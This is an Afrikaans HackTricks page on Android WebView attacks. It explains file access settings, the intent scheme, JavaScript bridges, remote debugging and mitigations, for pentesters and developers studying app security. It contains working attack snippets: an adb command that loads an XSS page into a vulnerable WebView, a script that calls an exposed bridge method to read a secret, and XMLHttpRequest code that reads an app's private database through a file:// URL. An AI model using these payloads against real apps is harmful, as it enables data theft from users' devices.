hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md
2024-02-11 02:07:06 +00:00

8.9 KiB
Raw Blame History

Webweergawe-aanvalle

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Vereenvoudigde Gids oor WebView-konfigurasies en -veiligheid

Oorsig van WebView-gebreklikhede

'n Kritieke aspek van Android-ontwikkeling behels die korrekte hantering van WebViews. Hierdie gids beklemtoon sleutelkonfigurasies en veiligheidspraktyke om risiko's wat verband hou met WebView-gebruik te verminder.

Voorbeeld van WebView

Lêertoegang in WebViews

Standaard staan WebViews lêertoegang toe. Hierdie funksionaliteit word beheer deur die setAllowFileAccess()-metode, beskikbaar sedert Android API-vlak 3 (Cupcake 1.5). Aansoeke met die android.permission.READ_EXTERNAL_STORAGE-toestemming kan lêers van eksterne stoorplek lees deur 'n lêer-URL-skema (file://path/to/file) te gebruik.

Verouderde kenmerke: Universele en lêertoegang vanaf URL's

  • Universele toegang vanaf lêer-URL's: Hierdie verouderde kenmerk het kruis-oorsprong-versoeke vanaf lêer-URL's toegelaat, wat 'n beduidende veiligheidsrisiko inhou as gevolg van potensiële XSS-aanvalle. Die verstekinstelling is gedeaktiveer (false) vir programme wat Android Jelly Bean en nuwer teiken.

  • Om hierdie instelling te kontroleer, gebruik getAllowUniversalAccessFromFileURLs().

  • Om hierdie instelling te wysig, gebruik setAllowUniversalAccessFromFileURLs(boolean).

  • Lêertoegang vanaf lêer-URL's: Hierdie kenmerk, ook verouderd, beheer toegang tot inhoud vanaf ander lêerskema-URL's. Soos universele toegang, is die verstekinstelling gedeaktiveer vir verbeterde veiligheid.

  • Gebruik getAllowFileAccessFromFileURLs() om te kontroleer en setAllowFileAccessFromFileURLs(boolean) om in te stel.

Veilige lêerlaai

Vir die deaktivering van lêersisteemtoegang terwyl toegang tot bates en hulpbronne steeds behou word, word die setAllowFileAccess()-metode gebruik. Met Android R en hoër is die verstekinstelling false.

  • Kontroleer met getAllowFileAccess().
  • Aktiveer of deaktiveer met setAllowFileAccess(boolean).

WebViewAssetLoader

Die WebViewAssetLoader-klas is die moderne benadering vir die laai van plaaslike lêers. Dit gebruik http(s)-URL's om plaaslike bates en hulpbronne te benader, in lyn met die Same-Origin-beleid, wat CORS-bestuur vergemaklik.

JavaScript en Intent-skemahandtering

  • JavaScript: Standaard gedeaktiveer in WebViews, dit kan geaktiveer word deur middel van setJavaScriptEnabled(). Voorsoorsigtigheid word aanbeveel, aangesien die aktivering van JavaScript sonder behoorlike veiligheidsmaatreëls veiligheidskwessies kan veroorsaak.

  • Intent-skema: WebViews kan die intent-skema hanteer, wat potensieel kan lei tot uitbuitings as dit nie sorgvuldig bestuur word nie. 'n Voorbeeld van 'n kwesbaarheid het betrekking op 'n blootgestelde WebView-parameter "support_url" wat uitgebuit kon word om kruissite-skripsie (XSS) aanvalle uit te voer.

Kwesbare WebView

Voorbeeld van uitbuiting met behulp van adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://example.com/xss.html"

Javascript-brug

'n Funksie word deur Android voorsien wat dit moontlik maak vir JavaScript in 'n WebView om nagtiewe Android-app-funksies aan te roep. Dit word bereik deur die gebruik van die addJavascriptInterface-metode, wat JavaScript integreer met nagtiewe Android-funksies, bekend as 'n WebView JavaScript-brug. Voorsoorsigtigheid word aanbeveel, aangesien hierdie metode alle bladsye binne die WebView in staat stel om toegang te verkry tot die geregistreerde JavaScript-brugobjek, wat 'n veiligheidsrisiko inhou as sensitiewe inligting deur hierdie brûe blootgestel word.

Belangrike oorwegings

  • Uiterste voorsoorsigtigheid is nodig vir programme wat Android-weergawes onder 4.2 teiken as gevolg van 'n kwesbaarheid wat afstandsbeheer deur middel van skadelike JavaScript moontlik maak deur refleksie te benut.

Implementering van 'n JavaScript-brug

  • JavaScript-brûe kan met nagtiewe kode interaksie hê, soos in die voorbeelde waar 'n klasmetode aan JavaScript blootgestel word:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript-brug is geaktiveer deur 'n koppelvlak by die WebView te voeg:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
  • Potensiële uitbuiting deur middel van JavaScript, byvoorbeeld deur 'n XSS-aanval, maak dit moontlik om blootgestelde Java-metodes aan te roep:
<script>alert(javascriptBridge.getSecret());</script>
  • Om risiko's te verminder, beperk die gebruik van die JavaScript-brug tot kode wat saam met die APK versprei word en voorkom die laai van JavaScript vanaf afgeleë bronne. Stel die minimum API-vlak op 17 vir ouer toestelle.

Refleksie-gebaseerde afstandsbeheeruitvoering (RCE)

  • 'n Gedokumenteerde metode maak dit moontlik om RCE te bereik deur refleksie deur die uitvoering van 'n spesifieke lading. Die @JavascriptInterface-annotasie voorkom egter ongemagtigde metode-toegang, wat die aanvalsvlak beperk.

Afstandsoplossing

  • Afstandsoplossing is moontlik met Chrome Developer Tools, wat interaksie en willekeurige JavaScript-uitvoering binne die WebView-inhoud moontlik maak.

Aktivering van afstandsoplossing

  • Afstandsoplossing kan geaktiveer word vir alle WebViews binne 'n toepassing deur:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Om voorwaardelik foutopsporing in te skakel gebaseer op die toestand van die toepassing se debuggable eigenschap:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Uitlek van willekeurige lêers

  • Toon die uitlek van willekeurige lêers deur gebruik te maak van 'n XMLHttpRequest:
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: